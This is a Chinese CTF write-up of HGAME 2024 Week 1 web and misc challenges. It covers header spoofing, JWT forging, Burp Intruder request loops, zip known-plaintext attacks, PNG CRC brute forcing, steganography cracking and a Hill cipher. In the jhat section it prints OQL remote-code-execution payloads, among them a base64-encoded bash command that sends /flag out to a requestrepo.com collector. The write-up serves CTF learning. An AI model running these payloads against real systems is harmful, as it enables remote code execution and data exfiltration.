WEB
ezhttp
刚打开可以看到这些文字,这一步考取的应该是Referer
头
可构造 Referer: vidar.club
BP上添加即可
这波应该是需要我们修改访问此网站浏览器信息,即User-Agent
可构造 User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
ok,这波通过文字描述可以得知要考取的是X-Forwarded-For
头,但是本题如果仅使用这个头是没法得到结果的,这里用到了fake ip
,这边BP是有插件的。
可构造
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
从而伪造本地用户访问 拿到flag
再去找一个在线jwt解密/加密 - bejson在线工具,即可拿到flag
Bypass it
本题打开有个提示 本网页需要靠js来确保存在
(英语差,勿怪),那么我们就把javascript
给禁用后再去做咯,
然后注册账号
注册完后解除js登录
最后点击拿到flag
Select Courses
本题是选满五个课就可以拿到flag
但是点击选课就会显示课程已满
但当我们对其进行一直发送,当full
为0时,就会显示选课成功
额选的过程种可以放到Intruder
里面,用python脚本写一个循环单个数字多次,然后将结果放到文档里面,添加进去开始攻击
可能攻击显示没有选取成功,可以放到其他浏览器或者放包看其实已经成功了
然后全部选上后可以点击选完了拿到flag
2048*16
打开是一个2048的小游戏,不过*16,那么就不指望挑战了,看看能不能从js
源码里面找到解决办法,但他这个源码进行了JS混淆,从里面可以找到这俩个可疑字符串
I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK
V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3
发现第二个字符串是[a-z,0-9,A-Z]+/=
,很像base的组成啊(当时我是真没想到这玩意是base换表啊),放到cyberchef去换表一下,拿到flag
jhat
题目描述 jhat is a tool used for analyzing Java heap dump files
提示1hint1: need rce
提示2hint2: focus on oql
提示3hint3: 题目不出网 想办法拿到执行结果
jhat(解析Java堆转储文件)
jhat命令解析Java堆转储文件,可以将堆中的对象以html的形式显示出来,包括对象的数量、大小等等。 jhat命令支持预先设计的查询,例如,显示一个已知类MyClass的所有实例,以及对象查询语言 (OQL)。 本命令在以后的版本中可能不再支持。
我们还可以从本题中拿到一个附件,附件内容如下
FROM openjdk:8
COPY data /
CMD jhat heapdump.hprof
EXPOSE 7000
`FROM openjdk:8`: 这一行指定了基础镜像,即在构建这个镜像时所使用的基础环境。在这里,使用的是名为 `openjdk`,版本为 `8` 的镜像。
`COPY data /`: 这一行指示 Docker 在构建镜像时将当前目录中的 `data` 目录中的所有内容复制到镜像中的根目录(`/`)中。这样,`data` 目录中的所有文件和子目录都会被复制到镜像中。
`CMD jhat heapdump.hprof`: 这行指定了容器启动时要执行的默认命令。在这里,`CMD` 指定了运行 `jhat heapdump.hprof` 命令。这个命令通常用于分析 Java 应用程序的堆转储文件(`heapdump.hprof`)。在容器启动时,会执行这个命令来启动 `jhat` 工具,并将 `heapdump.hprof` 文件作为输入。
`EXPOSE 7000`: 这行指定了容器内部的端口映射,将容器内部的 `7000` 端口暴露给外部。这意味着容器内运行的应用程序可以通过外部访问其运行在 `7000` 端口上的服务。
这题就是照佬复现了,佬博客HGAME 2024 WEEK1 Web方向题解 全-CSDN博客
第一个解决办法是利用信道了Dashboard - requestrepo.com,通过信道可以将flag数据带出。
java.lang.Runtime.getRuntime().exec('curl -X POST --data hello aybyrecq.requestrepo.com')
通过网站可以发现是有回显的
那么再通过构造bash -c "命令"
。
java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmF5YnlyZWNxLnJlcXVlc3RyZXBvLmNvbQ==}|{base64,-d}|{bash,-i}')
通过使用base64
解码后执行。这种方法可以绕过了直接在exec
方法中使用Shell特性的限制。
编码获取
可以发现通过此命令已经将flag带出来了
不过在佬博客里面说,由于此题是不出网的,所以上面这种方法也是非预期,真正的预期解是如下的代码
var process = java.lang.Runtime.getRuntime().exec("cat /flag");
var inputStream = process.getInputStream();
var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
var result = scanner.hasNext() ? scanner.next() : "";
result;
通过此代码可以拿到完整的flag
`var process = java.lang.Runtime.getRuntime().exec("cat /flag");`:
- 这行代码创建了一个 `process` 变量,它调用了 Java 运行时的 `exec` 方法,用于执行系统命令。
- 在这里,命令是 `cat /flag`,表示要执行 `cat` 命令来读取 `/flag` 文件的内容。
`var inputStream = process.getInputStream();`:
- 这行代码获取了 `process` 对象的输入流,以便读取命令执行的结果。
`var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");`:
- 这行代码创建了一个 `scanner` 对象,用于扫描输入流中的内容。
- `java.util.Scanner` 是用于扫描输入的工具类。
- `.useDelimiter("\\A")` 表示使用 `\A` 作为分隔符,`\A` 表示输入的开头。
`var result = scanner.hasNext() ? scanner.next() : "";`:
- 这行代码检查扫描器是否有下一行输入,如果有,则将其读取为字符串赋给 `result` 变量;否则,将 `result` 设为空字符串。
`result;`:
- 这行代码输出 `result` 变量的值,即命令执行的结果。
MISC
Sign in
很显然,flag就在图片里,将图片存到手机上,然后从充电口看就能拿到flag了。
simple_attack
第一个压缩包内容图片
第二个压缩包内容图片
可以发现里面有着相同的文件(CRC也相同),所以我们可以考虑到明文攻击
开始攻击即可,当出现这种情况,就可以取消了
然后会显示恢复,但口令未找到
此时会让你去保存一个文件,这个文件就是解密好的文件
打开文件里面是一个图片的base64编码,所以从网上找到在线Base64转图片 (lddgo.net),图片即是flag
希儿希儿希尔
下载文件是一个待修复的图片,拿到010进行修复一下,修复之前我们可以拉到最底下发现在该图片下有着一个压缩包
通过脚本可以爆破出图片的宽高
import binascii
import struct
crcbp = open("C://Users//DDD//Desktop//secret.png", "rb").read() # 打开图片
crc32frombp = int(crcbp[29:33].hex(), 16) # 读取图片中的CRC校验值
print(crc32frombp)
for i in range(4000): # 宽度1-4000进行枚举
for j in range(4000): # 高度1-4000进行枚举
data = crcbp[12:16] + \
struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
# print(crc32)
if (crc32 == crc32frombp): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)
将其改到010中就可以拿到真正的图片
用Stegsolve打开找找里面是否有隐藏的信息
可以发现其中隐藏的密钥
再结合题目所示,希尔密码希尔密码(Hill Cipher)加密解密-ME2在线工具 (metools.info),加上这个密钥可以拿到flag,至于密文,我们甚至可以不去分解,直接从010拿到密文(但最好是去分一下)
CVOCRJGMKLDJGBQIUIVXHEYLPNWR
解密后,用hgame{}包裹即可
来自星尘的问候
打开是一个jpg图片,结合本题提示密码是6位弱密码,本题的考点是steghide
和stegseek
的利用,不过用stegseek
可以直接拿到隐藏的内容
time stegseek 解密文件 字典
至于字典的获取,可以从网上了解一下,kali也自带一个字典可以下载。然后可以找到本题的密码是123456,不过用steghide
也是可以的。
steghide extract -sf 解密文件 -p 123456
解密后可以拿到一个图片
看这格式很显然是hgame{},结合给的提示,其页面上会有这些语言的翻译,通过所给的主角名,我们可以查到这个游戏是鹰角网络的来自星尘
。我们可以在其的官方网站中找到游戏相关图片内容
游戏内语言
实际对应
那么此时就简单了,对照破译即可。